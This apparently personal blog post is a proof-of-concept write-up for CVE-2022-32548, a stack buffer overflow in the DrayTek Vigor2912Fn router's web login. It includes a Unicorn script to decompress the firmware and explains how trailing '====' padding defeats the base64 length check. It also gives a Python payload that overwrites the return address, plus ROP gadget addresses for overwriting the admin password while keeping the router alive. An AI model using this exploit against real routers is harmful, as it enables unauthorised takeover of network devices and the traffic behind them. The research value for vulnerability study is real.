CVE-2022-32548 Admin password changing POC
I. About
This article provides exploitation of password changing on Draytek router and steps that i took during the process of learning about this bug through other documents. The model using in this exploit is Vigor2912Fn and firmware version v3.8.12. I also provide details write-up for some tasks that other article lacks.
II. Firmware Decompression
The first things we have to figure out is what is the loading base address
of the firmware. For this task, the CVE's author has provided a way to manually guess it. His method is to find some hardcoded address value in the code and guess the load address base on it. For most case of Vigor's firmware, it is 0x8002000
.
The firmware's first 0x100 bytes contains header and stuff, text
section starts after that.
Load v2912_3812.all
into IDA.
IDA won't analyze anything; we have to manually click on the first byte and press C
to make it do the job.
For firmware v3.x.x, the firmware when being loaded first decompress some code and then jump to it. The decompression routine is located near the start of the firmware's code. For this version, the function which responsible for that mission is located at address 0x800205DC.
The author's idea to get the decompressed is using unicorn the emulate the process. I gathered all the functions into a file, provide the script below with the firmware you want to decompress:
from unicorn import *
from unicorn.mips_const import *
import sys
import struct
import os
# [!] change these value base on the firmware
load_address = 0x80020000
decompress_start = 0x800205DC
decompress_end = 0x80020724
mode = UC_MODE_LITTLE_ENDIAN
# load_address = 0x80024000
# decompress_start = 0x800246ac
# decompress_end = 0x80024730
# mode = UC_MODE_BIG_ENDIAN
#---------------------------------
filename = sys.argv[1]
stack_base = 0x10000000
stack_size = 0x10000000
def find_fs(data):
offset = struct.unpack(">L", data[:4])[0]
print("FS Blob: 0x%x" % (load_address + offset - 0x100))
sz1, sz2, magic = struct.unpack(">LLL", data[offset:offset+4*3])
if magic != 0xAA1D7F50:
raise(Exception("Failed to find magic bytes for fs (val:{:x} expected:{:x})".format(magic, 0xAA1D7F50)))
return data[offset+8:offset+8+sz2]
def find_extract_blob():
data = b""
with open(filename, "rb") as f:
data = f.read()
pos = data.find(b"\xA5\x5A\xA5\x5A")
print("POS = 0x%x" % (load_address+pos))
if (pos == -1):
raise(Exception("Failed to find magic bytes"))
loader_fw = data[0x100:pos]
magic1, size, magic2 = struct.unpack(">III", data[pos:pos+4*3])
if magic2 != 0xAA1D7F50:
raise(Exception("Failed to find magic bytes part2 (val:{:x} expected:{:x})".format(magic2, 0xAA1D7F50)))
print("Blob size: {:x}".format(size))
blob_start = pos + 8
fs_blob = find_fs(data)
return loader_fw, data[blob_start:blob_start+size], fs_blob
def load_routine():
emulate_blob = b""
with open(filename, "rb") as f:
emulate_blob = f.read()
return emulate_blob[0x100:]
def load_unicorn():
mu = Uc(UC_ARCH_MIPS, UC_MODE_MIPS32 + mode)
emulate_blob = load_routine()
mu.mem_map(load_address, 0x2000000)
mu.mem_map(stack_base, stack_size)
mu.reg_write(UC_MIPS_REG_SP, stack_base + (stack_size // 2))
mu.mem_write(load_address, emulate_blob)
return mu
def read_registers(mu):
print("A0: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_A0)))
print("A1: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_A1)))
print("A2: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_A2)))
print("A3: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_A3)))
print("S0: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_S0)))
print("S1: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_S1)))
print("S2: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_S2)))
print("S3: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_S3)))
print("S4: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_S4)))
print("S5: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_S5)))
print("S6: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_S6)))
print("S7: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_S7)))
print("T0: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_T0)))
print("T1: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_T1)))
print("T2: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_T2)))
print("T3: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_T3)))
print("T4: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_T4)))
print("T5: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_T5)))
print("T6: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_T6)))
print("T7: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_T7)))
print("T8: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_T8)))
print("T9: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_T9)))
print("V0: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_V0)))
print("V1: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_V1)))
print("GP: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_GP)))
print("SP: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_SP)))
print("PC: 0x{:x}".format(mu.reg_read(UC_MIPS_REG_PC)))
def decompress_blob(mu, data):
buffer_addr = 0x20000000
buffer_size = 0x10000000
dest_buffer_addr = 0x30000000
if (len(data) > buffer_size):
print("[!] Error: data too large")
return
mu.mem_map(buffer_addr, buffer_size)
mu.mem_write(buffer_addr, data)
mu.mem_map(dest_buffer_addr, buffer_size)
mu.reg_write(UC_MIPS_REG_A0, buffer_addr)
mu.reg_write(UC_MIPS_REG_A1, len(data))
mu.reg_write(UC_MIPS_REG_A2, dest_buffer_addr)
mu.reg_write(UC_MIPS_REG_A3, buffer_size)
mu.mem_write(stack_base, b"\x00"*stack_size)
read_registers(mu)
print("Running...")
try:
mu.emu_start(decompress_start, decompress_end)
except Exception as e:
print(e)
read_registers(mu)
total_size = mu.reg_read(UC_MIPS_REG_S5)
decompressed_data = mu.mem_read(dest_buffer_addr, total_size)
print("Output size = " + hex(total_size))
return decompressed_data
loader_fw, data_blob, fs_blob = find_extract_blob()
mu = load_unicorn()
decompressed_data = decompress_blob(mu, data_blob)
output_dir = "out_"+filename.split(".")[-2].split("/")[-1]
print("OUTPUT DIR: " + output_dir)
os.makedirs(output_dir, exist_ok=True)
with open(output_dir + "/" + "out_data.bin", "wb") as f:
f.write(decompressed_data)
The result is a binary file contains all the logic, functionality of the router. Now we can start analyzing the vulnerability.
III. The bug
Refer from author's presentation, the vulnerability lays here:
Basically, it receives data from attacker's controllable request in form of base64 data and decode it using a function, then it places the output into username
and password
. Both of these are bytes array with size of 88.
However, that base64 decode function contains a buffer overflow vulnerability bug which cause the output may bigger than 88 which causing stack overflow and provide attacker a way to execute arbitrary code.
Inside that function, before doing any decoding stuff, it first calculates the output length and quit if it bigger than 88.
Logic of this function is as follow:
1. output_len = 3 * (input_len // 4)
2. out_len -= 1 for each of '=' character at the end of input
In base64, '====' can be decoded to empty char ''. The trick is by adding 4 equal signs at the end of the input, the length of output can increase by 1 and not violate any checks.
IV. Exploit
From all the thing we have figured out above, now we can craft a payload which can lead the firmware to crash.
from pwn import *
import requests
import base64
url = "https://192.168.1.1/cgi-bin/wlogin.cgi"
port = 443
pay = b"adm1n"+b'\x00'*3
pay += b"A" * (0x110 - len(pay))
pay += b"B" * (0x24)
pay += p32(0xdeadbeef) # Overwrite return address on stack
pad = b"=" * (len(pay) - 84 + 1) * 4
payload = base64.b64encode(pay) + pad
data = {
"aa": payload,
"ab": "YWRtMW4=",
"sslgroup": "---",
"obj3": None,
"obj4": None,
"obj5": None,
"obj6": None,
"obj7": None,
"sFormAuthStr": "HQEzbTm2MXbNxit"
}
try:
requests.post(url=url, data=data, verify=False, timeout=1)
except requests.exceptions.ReadTimeout:
pass
But before doing any funky things, we must setup a way to debug our payload. Vigor routers provide us a verbose interface to interact with through jtag interface, so first we have to connect our machine to the router using a jtag-usb converter.
I won't go any details on how to figure out TX, RX or ground header pin, reader can refer to the pin order below to continue.
Next, we can use putty
to communicate with it. Note that Serial line
may vary between machines.
Make sure the router and our machine is in the same LAN so they can see each other. If you can access to the web interface, then you are good to go.
Now we can start sending payload to the router.
SUCCESS!! We managed to force the firmware to return to 0xdeadbeef
When the firmware crashes, it prints out stack and register data so it's enough for us to understand what's going on. My purpose is to change the admin's password and there is a function which can help me achieve it:
Our password is located at address 0x81B898A0
in memory, here the function copies a value from parameter and place it into that address. We can abuse that piece of code to control the value which get copied.
$a0
and $a1
are 2 registers we need to control. We should directly use address 0x801d0c6c
instead of 0x801d0c64
because controlling 8($s2)
is a tedious task. We have to find these gadgets:
1. a gadget which store data from stack to $s_ register (0x80026010)
2. one to move data from $s_ to $a0 (0x800313D8)
3. one to place a pointer into $a1 (0x803B202C)
Suppose our payload works well, we still have to find a way to make the router keeps running. If we crash it, it will restart and won't save the changed password and we wouldn't login using the new password. After test and trying several ways to keep it alive by tracing stack call (it printed out from the console), i found that by return to 0x8007ca2c
after the exploit success, the firmware keeps running. However, when we send our payload to the router, our data will corrupt the stack and won't pass a check.
So, in order to make our method work well, we have to send the stack data at the time our main loop gadget got execute.
V. References
CVE-2022-32548 DrayTeck stack overflow vulnerability analysis
HEXACON2022 - Emulate it until you make it! Pwning a DrayTek Router by Philippe Laulheret - YouTube
Subscribe to my newsletter
Read articles from Ngô Thành Văn directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by